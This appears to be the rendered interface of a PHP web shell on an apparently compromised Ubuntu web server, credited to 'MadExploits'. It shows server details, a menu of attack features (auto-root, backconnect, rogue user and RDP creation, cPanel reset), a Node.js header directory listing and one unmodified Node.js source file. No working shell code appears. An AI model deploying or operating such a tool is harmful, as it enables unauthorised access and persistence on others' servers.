Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
nodejs /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
aliased_buffer.h
7.91
KB
-rw-r--r--
async_wrap-inl.h
2.96
KB
-rw-r--r--
async_wrap.h
10.07
KB
-rw-r--r--
base64.h
5.57
KB
-rw-r--r--
base_object-inl.h
10.82
KB
-rw-r--r--
base_object.h
11.83
KB
-rw-r--r--
callback_queue-inl.h
2.59
KB
-rw-r--r--
callback_queue.h
1.96
KB
-rw-r--r--
connect_wrap.h
584
B
-rw-r--r--
connection_wrap.h
686
B
-rw-r--r--
debug_utils-inl.h
7.36
KB
-rw-r--r--
debug_utils.h
6.44
KB
-rw-r--r--
diagnosticfilename-inl.h
768
B
-rw-r--r--
env-inl.h
40.44
KB
-rw-r--r--
env.h
65.9
KB
-rw-r--r--
handle_wrap.h
3.98
KB
-rw-r--r--
histogram-inl.h
1.68
KB
-rw-r--r--
histogram.h
2.83
KB
-rw-r--r--
http_parser_adaptor.h
609
B
-rw-r--r--
inspector_agent.h
4.88
KB
-rw-r--r--
inspector_io.h
2.19
KB
-rw-r--r--
inspector_profiler.h
4.53
KB
-rw-r--r--
inspector_socket.h
1.53
KB
-rw-r--r--
inspector_socket_server.h
3.5
KB
-rw-r--r--
js_native_api.h
28.13
KB
-rw-r--r--
js_native_api_types.h
4.14
KB
-rw-r--r--
js_native_api_v8.h
12.23
KB
-rw-r--r--
js_native_api_v8_internals.h
1.28
KB
-rw-r--r--
js_stream.h
1.35
KB
-rw-r--r--
json_utils.h
3.63
KB
-rw-r--r--
memory_tracker-inl.h
11.5
KB
-rw-r--r--
memory_tracker.h
11.23
KB
-rw-r--r--
module_wrap.h
3.1
KB
-rw-r--r--
node.h
43.55
KB
-rw-r--r--
node_api.h
11.41
KB
-rw-r--r--
node_api_types.h
1.62
KB
-rw-r--r--
node_binding.h
3.25
KB
-rw-r--r--
node_buffer.h
3.6
KB
-rw-r--r--
node_constants.h
3.67
KB
-rw-r--r--
node_context_data.h
1.14
KB
-rw-r--r--
node_contextify.h
5.37
KB
-rw-r--r--
node_crypto.h
29.59
KB
-rw-r--r--
node_crypto_bio.h
6.22
KB
-rw-r--r--
node_crypto_clienthello-inl.h
2.6
KB
-rw-r--r--
node_crypto_clienthello.h
4.16
KB
-rw-r--r--
node_crypto_common.h
3.48
KB
-rw-r--r--
node_crypto_groups.h
23.04
KB
-rw-r--r--
node_dir.h
1.31
KB
-rw-r--r--
node_dtrace.h
2.89
KB
-rw-r--r--
node_errors.h
11.89
KB
-rw-r--r--
node_file-inl.h
9.81
KB
-rw-r--r--
node_file.h
12.2
KB
-rw-r--r--
node_http2.h
49.14
KB
-rw-r--r--
node_http2_state.h
4.58
KB
-rw-r--r--
node_http_parser_impl.h
28.9
KB
-rw-r--r--
node_i18n.h
4.3
KB
-rw-r--r--
node_internals.h
13.34
KB
-rw-r--r--
node_main_instance.h
3.05
KB
-rw-r--r--
node_mem-inl.h
3.6
KB
-rw-r--r--
node_mem.h
1.28
KB
-rw-r--r--
node_messaging.h
11.96
KB
-rw-r--r--
node_metadata.h
3.46
KB
-rw-r--r--
node_mutex.h
6.07
KB
-rw-r--r--
node_native_module.h
3.31
KB
-rw-r--r--
node_native_module_env.h
2.33
KB
-rw-r--r--
node_object_wrap.h
3.78
KB
-rw-r--r--
node_options-inl.h
14.68
KB
-rw-r--r--
node_options.h
15.68
KB
-rw-r--r--
node_perf.h
5.21
KB
-rw-r--r--
node_perf_common.h
2.99
KB
-rw-r--r--
node_platform.h
5.88
KB
-rw-r--r--
node_process.h
1.77
KB
-rw-r--r--
node_report.h
1.35
KB
-rw-r--r--
node_revert.h
2.45
KB
-rw-r--r--
node_root_certs.h
212.59
KB
-rw-r--r--
node_sockaddr-inl.h
4.61
KB
-rw-r--r--
node_sockaddr.h
3.56
KB
-rw-r--r--
node_stat_watcher.h
2.15
KB
-rw-r--r--
node_union_bytes.h
3.2
KB
-rw-r--r--
node_url.h
6.16
KB
-rw-r--r--
node_v8_platform-inl.h
6.19
KB
-rw-r--r--
node_version.h
3.69
KB
-rw-r--r--
node_wasi.h
5.13
KB
-rw-r--r--
node_watchdog.h
4.17
KB
-rw-r--r--
node_win32_etw_provider-inl.h
11.67
KB
-rw-r--r--
node_win32_etw_provider.h
3.67
KB
-rw-r--r--
node_worker.h
4.78
KB
-rw-r--r--
pipe_wrap.h
2.67
KB
-rw-r--r--
req_wrap-inl.h
5.4
KB
-rw-r--r--
req_wrap.h
2.22
KB
-rw-r--r--
sharedarraybuffer_metadata.h
2.55
KB
-rw-r--r--
spawn_sync.h
6.87
KB
-rw-r--r--
stream_base-inl.h
9.16
KB
-rw-r--r--
stream_base.h
15.92
KB
-rw-r--r--
stream_pipe.h
2.15
KB
-rw-r--r--
stream_wrap.h
4.03
KB
-rw-r--r--
string_bytes.h
5.59
KB
-rw-r--r--
string_decoder-inl.h
858
B
-rw-r--r--
string_decoder.h
1.5
KB
-rw-r--r--
string_search.h
20.92
KB
-rw-r--r--
tcp_wrap.h
3.65
KB
-rw-r--r--
threadpoolwork-inl.h
2.05
KB
-rw-r--r--
tls_wrap.h
7.88
KB
-rw-r--r--
tty_wrap.h
2.18
KB
-rw-r--r--
udp_wrap.h
8.59
KB
-rw-r--r--
util-inl.h
16.42
KB
-rw-r--r--
util.h
25.51
KB
-rw-r--r--
v8abbr.h
5.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : debug_utils-inl.h
#ifndef SRC_DEBUG_UTILS_INL_H_ #define SRC_DEBUG_UTILS_INL_H_ #if defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS #include "debug_utils.h" #include "env.h" #include <type_traits> namespace node { struct ToStringHelper { template <typename T> static std::string Convert( const T& value, std::string(T::* to_string)() const = &T::ToString) { return (value.*to_string)(); } template <typename T, typename test_for_number = typename std:: enable_if<std::is_arithmetic<T>::value, bool>::type, typename dummy = bool> static std::string Convert(const T& value) { return std::to_string(value); } static std::string Convert(const char* value) { return value != nullptr ? value : "(null)"; } static std::string Convert(const std::string& value) { return value; } static std::string Convert(bool value) { return value ? "true" : "false"; } template <unsigned BASE_BITS, typename T, typename std::enable_if<std::is_integral<T>::value, int>::type = 0> static std::string BaseConvert(const T& value) { auto v = static_cast<uint64_t>(value); char ret[3 * sizeof(T)]; char* ptr = ret + 3 * sizeof(T) - 1; *ptr = '\0'; const char* digits = "0123456789abcdef"; do { unsigned digit = v & ((1 << BASE_BITS) - 1); *--ptr = (BASE_BITS < 4 ? static_cast<char>('0' + digit) : digits[digit]); } while ((v >>= BASE_BITS) != 0); return ptr; } template <unsigned BASE_BITS, typename T, typename std::enable_if<!std::is_integral<T>::value, int>::type = 0> static std::string BaseConvert(T value) { return Convert(std::forward<T>(value)); } }; template <typename T> std::string ToString(const T& value) { return ToStringHelper::Convert(value); } template <unsigned BASE_BITS, typename T> std::string ToBaseString(const T& value) { return ToStringHelper::BaseConvert<BASE_BITS>(value); } inline std::string SPrintFImpl(const char* format) { const char* p = strchr(format, '%'); if (LIKELY(p == nullptr)) return format; CHECK_EQ(p[1], '%'); // Only '%%' allowed when there are no arguments. return std::string(format, p + 1) + SPrintFImpl(p + 2); } template <typename Arg, typename... Args> std::string COLD_NOINLINE SPrintFImpl( // NOLINT(runtime/string) const char* format, Arg&& arg, Args&&... args) { const char* p = strchr(format, '%'); CHECK_NOT_NULL(p); // If you hit this, you passed in too many arguments. std::string ret(format, p); // Ignore long / size_t modifiers while (strchr("lz", *++p) != nullptr) {} switch (*p) { case '%': { return ret + '%' + SPrintFImpl(p + 1, std::forward<Arg>(arg), std::forward<Args>(args)...); } default: { return ret + '%' + SPrintFImpl(p, std::forward<Arg>(arg), std::forward<Args>(args)...); } case 'd': case 'i': case 'u': case 's': ret += ToString(arg); break; case 'o': ret += ToBaseString<3>(arg); break; case 'x': ret += ToBaseString<4>(arg); break; case 'X': ret += node::ToUpper(ToBaseString<4>(arg)); break; case 'p': { CHECK(std::is_pointer<typename std::remove_reference<Arg>::type>::value); char out[20]; int n = snprintf(out, sizeof(out), "%p", *reinterpret_cast<const void* const*>(&arg)); CHECK_GE(n, 0); ret += out; break; } } return ret + SPrintFImpl(p + 1, std::forward<Args>(args)...); } template <typename... Args> std::string COLD_NOINLINE SPrintF( // NOLINT(runtime/string) const char* format, Args&&... args) { return SPrintFImpl(format, std::forward<Args>(args)...); } template <typename... Args> void COLD_NOINLINE FPrintF(FILE* file, const char* format, Args&&... args) { FWrite(file, SPrintF(format, std::forward<Args>(args)...)); } template <typename... Args> inline void FORCE_INLINE Debug(EnabledDebugList* list, DebugCategory cat, const char* format, Args&&... args) { if (!UNLIKELY(list->enabled(cat))) return; FPrintF(stderr, format, std::forward<Args>(args)...); } inline void FORCE_INLINE Debug(EnabledDebugList* list, DebugCategory cat, const char* message) { if (!UNLIKELY(list->enabled(cat))) return; FPrintF(stderr, "%s", message); } template <typename... Args> inline void FORCE_INLINE Debug(Environment* env, DebugCategory cat, const char* format, Args&&... args) { Debug(env->enabled_debug_list(), cat, format, std::forward<Args>(args)...); } inline void FORCE_INLINE Debug(Environment* env, DebugCategory cat, const char* message) { Debug(env->enabled_debug_list(), cat, message); } template <typename... Args> inline void Debug(Environment* env, DebugCategory cat, const std::string& format, Args&&... args) { Debug(env->enabled_debug_list(), cat, format.c_str(), std::forward<Args>(args)...); } // Used internally by the 'real' Debug(AsyncWrap*, ...) functions below, so that // the FORCE_INLINE flag on them doesn't apply to the contents of this function // as well. // We apply COLD_NOINLINE to tell the compiler that it's not worth optimizing // this function for speed and it should rather focus on keeping it out of // hot code paths. In particular, we want to keep the string concatenating code // out of the function containing the original `Debug()` call. template <typename... Args> void COLD_NOINLINE UnconditionalAsyncWrapDebug(AsyncWrap* async_wrap, const char* format, Args&&... args) { Debug(async_wrap->env(), static_cast<DebugCategory>(async_wrap->provider_type()), async_wrap->diagnostic_name() + " " + format + "\n", std::forward<Args>(args)...); } template <typename... Args> inline void FORCE_INLINE Debug(AsyncWrap* async_wrap, const char* format, Args&&... args) { DCHECK_NOT_NULL(async_wrap); DebugCategory cat = static_cast<DebugCategory>(async_wrap->provider_type()); if (!UNLIKELY(async_wrap->env()->enabled_debug_list()->enabled(cat))) return; UnconditionalAsyncWrapDebug(async_wrap, format, std::forward<Args>(args)...); } template <typename... Args> inline void FORCE_INLINE Debug(AsyncWrap* async_wrap, const std::string& format, Args&&... args) { Debug(async_wrap, format.c_str(), std::forward<Args>(args)...); } namespace per_process { template <typename... Args> inline void FORCE_INLINE Debug(DebugCategory cat, const char* format, Args&&... args) { Debug(&enabled_debug_list, cat, format, std::forward<Args>(args)...); } inline void FORCE_INLINE Debug(DebugCategory cat, const char* message) { Debug(&enabled_debug_list, cat, message); } } // namespace per_process } // namespace node #endif // defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS #endif // SRC_DEBUG_UTILS_INL_H_
Close